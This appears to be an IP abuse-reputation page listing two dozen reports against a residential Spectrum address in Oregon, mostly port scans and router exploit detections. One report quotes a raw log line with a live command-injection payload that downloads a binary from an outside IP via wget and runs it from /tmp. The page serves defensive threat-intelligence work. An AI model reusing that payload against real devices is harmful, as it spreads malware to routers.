47.25.248.177
Neutral Activity
There is no recent abuse activity, or the IP address is whitelisted.
- ISP
- Charter Communications LLC
- Usage Type
- Fixed Line ISP
- ASN
- AS20115
- Hostname(s)
- syn-047-025-248-177.res.spectrum.com
- Domain Name
- charter.com
- Country
- 🇺🇸 United States of America
- City
- Tillamook, Oregon
No reports in the last 60 days
47.25.248.177 has been reported 24 times. The most recent report is from .
The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.
Abuse Reports
Total reports
24 from
20 distinct
reporters
First reported
Most recent report
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| 🇵🇱 mkey |
[First: 2026-04-11 20:24:52/single] HITS=1 Repeated suspicious IDS-detected activity; sample=WEB-APP-ATACK: Unauthorized CGI script access
|
Port Scan Hacking Web App Attack | |
| 🇺🇸 etu brutus |
47.25.248.177 Blocked by [Attack Vector List]
...
|
Hacking Brute-Force Exploited Host | |
| 🇺🇸 MPL |
tcp/80 (2 or more attempts)
|
Port Scan | |
| 🇺🇸 MPL |
tcp/80
|
Port Scan | |
| 🇺🇸 xmission.com |
Blocked by UFW (TCP on 52869)
Source port: 37925
TTL: 55
Packet length: 44
TOS: 0x00
This report (for 47.25.248.177) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
|
Port Scan | |
| 🇮🇪 RoboSOC |
Comtrend VR-3033 Remote Command Execution Vulnerability, PTR: syn-047-025-248-177.res.spectrum.com.
|
Hacking | |
| 🇺🇸 AFSI |
Web Application Attack
1:46736 - SERVER-WEBAPP D-Link DSL-2750B routers login.cgi command injection attempt)
|
Port Scan Hacking | |
| 🇹🇭 Sawasdee |
Unwanted checking 80 or 443 port
...
|
Bad Web Bot | |
| 🇩🇪 arc21 |
|
Port Scan | |
| 🇺🇸 Cyber Crusader |
Hundreds of Attempts (at least) to Connect to and Access Firewall Ports
|
Port Scan Hacking Brute-Force | |
| 🇫🇷 Vaction |
47.25.248.177 - - [08/Apr/2026:19:18:07 +0200] "GET /ping.cgi?pingIpAddress=google.fr;wget%20http://37.48.254.120/arm7%20-O%20/tmp/arm7;chmod%20777%20/tmp/arm7;/tmp/arm7%27/&sessionKey=1039 HTTP/1.1" 400 432 "-" "r00ts3c"
|
Hacking Bad Web Bot Web App Attack | |
| 🇨🇿 Countryman |
IPS detection: Comtrend.VR-3033.Remote.Command.Injection
|
Hacking | |
| 🇨🇿 Countryman |
IPS detection: Comtrend.VR-3033.Remote.Command.Injection
|
Hacking | |
| 🇳🇱 t0m |
Honeypot detection: unsolicited connection attempt detected on TCP/80. (Automated report from distributed honeypot network.)
|
Port Scan | |
| 🇩🇪 yangfan |
UFW Blocked [37215/TCP]
Source: 47.25.248.177:44061
TTL: 51
Lenth: 44
TOS: 0x00
|
Port Scan |
Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown